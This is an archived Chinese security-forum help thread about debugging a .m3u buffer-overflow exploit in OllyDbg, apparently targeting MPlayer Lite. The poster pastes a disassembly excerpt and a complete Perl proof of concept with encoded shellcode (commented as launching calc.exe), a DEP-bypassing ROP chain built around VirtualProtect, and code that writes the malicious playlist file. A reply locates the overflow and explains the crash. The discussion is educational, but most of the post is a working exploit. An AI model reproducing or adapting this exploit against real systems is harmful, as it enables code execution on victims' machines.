首页
社区
课程
招聘
[求助]关于.m3u exploit断点分析
2011-8-30 13:24 3724

[求助]关于.m3u exploit断点分析

2011-8-30 13:24
3724
0022FDDB    8B45 3C         MOV EAX,DWORD PTR SS:[EBP+3C]
0022FDDE    8B7C05 78       MOV EDI,DWORD PTR SS:[EBP+EAX+78]
0022FDE2    01EF            ADD EDI,EBP
0022FDE4    8B4F 18         MOV ECX,DWORD PTR DS:[EDI+18]
0022FDE7    8B5F 20         MOV EBX,DWORD PTR DS:[EDI+20]
0022FDEA    01EB            ADD EBX,EBP
0022FDEC    49              DEC ECX
0022FDED    8B348B          MOV ESI,DWORD PTR DS:[EBX+ECX*4]
0022FDF0    01EE            ADD ESI,EBP
0022FDF2    31C0            XOR EAX,EAX
0022FDF4    99              CDQ
0022FDF5    AC              LODS BYTE PTR DS:[ESI]0022FDF6    84C0            TEST AL,AL
0022FDF8    74 07           JE SHORT 0022FE01
0022FDFA    C1CA 0D         ROR EDX,0D
0022FDFD    01C2            ADD EDX,EAX
0022FDFF  ^ EB F4           JMP SHORT 0022FDF5
0022FE01    3B5424 04       CMP EDX,DWORD PTR SS:[ESP+4]
0022FE05  ^ 75 E5           JNZ SHORT 0022FDEC
0022FE07    8B5F 24         MOV EBX,DWORD PTR DS:[EDI+24]
0022FE0A    01EB            ADD EBX,EBP
0022FE0C    66:8B0C4B       MOV CX,WORD PTR DS:[EBX+ECX*2]

加载exploit后,断在了红色部分,
但我F8 下一步时候,od马上就跑飞了
麻烦高手指点下问题出在哪里,或者思路出了什么问题.

附poc:

use strict;
use warnings;
use IO::File;

print q
{

                Created BY C4SS!0 G0M3S
                Site net-fuzzer.blogspot.com
                E-mail Louredo_@hotmail.com
                       
};
sleep(2);

my $shellcode =
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1".
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30".
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa".
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96".
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b". #Shellcode WinExec "Calc.exe"
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a". #Badchars "\x00\x20\x0d\x0a"
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83".
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98".
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61".
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05".
"\x7f\xe8\x7b\xca";

my $rop = "BBBB";
$rop .= "CCCD";
$rop .= pack('V',0x6496E0BB);# POP EDI # RETN   
$rop .= pack('V',0x6D7CBBE4);# Address to kernel32.VirtualProtect

##############################################ROP EXPLOIT######################################################################
$rop .= pack('V',0x649abc7b); # PUSH ESP # POP EBX # POP ESI # RETN  
$rop .= "BBBB"; #Junk
$rop .= pack('V',0x6B0402A9); # MOV EAX,EBX # POP EBX # RETN
$rop .= "\x01\x42\x42\x42"; #Junk
$rop .= pack('V',0x6AED7BAF); # POP ECX # RETN
$rop .= "\xff\xff\xff\xff";
$rop .= pack('V',0x6AD85749); # POP EBX # RETN
$rop .= "\x40\x40\x40\x40";
$rop .= pack('V',0x6ADB3A50); # INC ECX # ADD AL,5B # RETN
$rop .= pack('V',0x6ae00bf0); # ADD CL,BL # RETN
$rop .= pack('V',0x6AD85749); # POP EBX # RETN
$rop .= "\x02\x42\x42\x42";

$rop .= pack('V',0x6afa6dd8); # MOV EAX,40 # RETN
$rop .= pack('V',0x6b0817a0); # ADD AL,89 # RETN
$rop .= pack('V',0x6b0817a0); # ADD AL,89 # RETN

$rop .= pack('V',0x6ADA31E1); # ADD AH,BL # RETN  BL = 01
$rop .= pack('V',0x6B0B7A46); # MOV EDX,EAX # MOV EAX,EDX # RETN
$rop .= pack('V',0x649abc7b); # PUSH ESP # POP EBX # POP ESI # RETN
$rop .= "GGGG"; #Junk

$rop .= pack('V',0x6B0B7A46); # MOV EDX,EAX # MOV EAX,EDX # RETN
$rop .= pack('V',0x64975830); # POP EAX # RETN
$rop .= pack('V',0x64975918);
$rop .= pack('V',0x649B11EC); # PUSHAD # RETN
##############################################ROP END HER###########################################################################

my $buf = "\x41" x (4496-12);
$buf .= $rop;
$buf .= ("\x90" x 10).$shellcode; #You have a good space for shellcode here :)
$buf .= "\x41" x (5152-length($buf));
$buf .= "\xeb\x0f\xcc\xcc";
$buf .= pack('V',0x6497ab0c); # ADD ESP,17CC # POP EBX # POP ESI # POP EDI # POP EBP # RETN

$buf .= "\x90" x 400;

print "\t\t[+]Creating M3U File...\n";
sleep(1);
open(my $FILE,">Exploit.m3u") || die "**[x]Error:\n$!\n";
print $FILE "http:// ".$buf;
close($FILE);
print "\t\t[+]File Exploit.m3u Created with Success\n";
sleep(1);

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 599
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
猪猡公园 2011-8-30 14:14
2
0
那你就F7呗。
雪    币: 258
活跃值: (40)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
hawkish 1 2011-8-30 22:43
3
0
是不是这个POC?

http://www.exploit-id.com/local-exploits/mplayer-lite-r33064-m3u-buffer-overflow-exploit-dep-bypass

如果是的话 溢出点应该是:
0047ACA3   .  E8 506E3700   call    <jmp.&msvcrt.strncpy>            ; 多次调用此处导致栈溢出

断在0022FDF5  是因为shellcode 执行时出现无法处理的异常:
0022FDF5    AC              lods    byte ptr [esi]

所以F8程序异常终止退出了,并不是跑飞了。。
游客
登录 | 注册 方可回帖
返回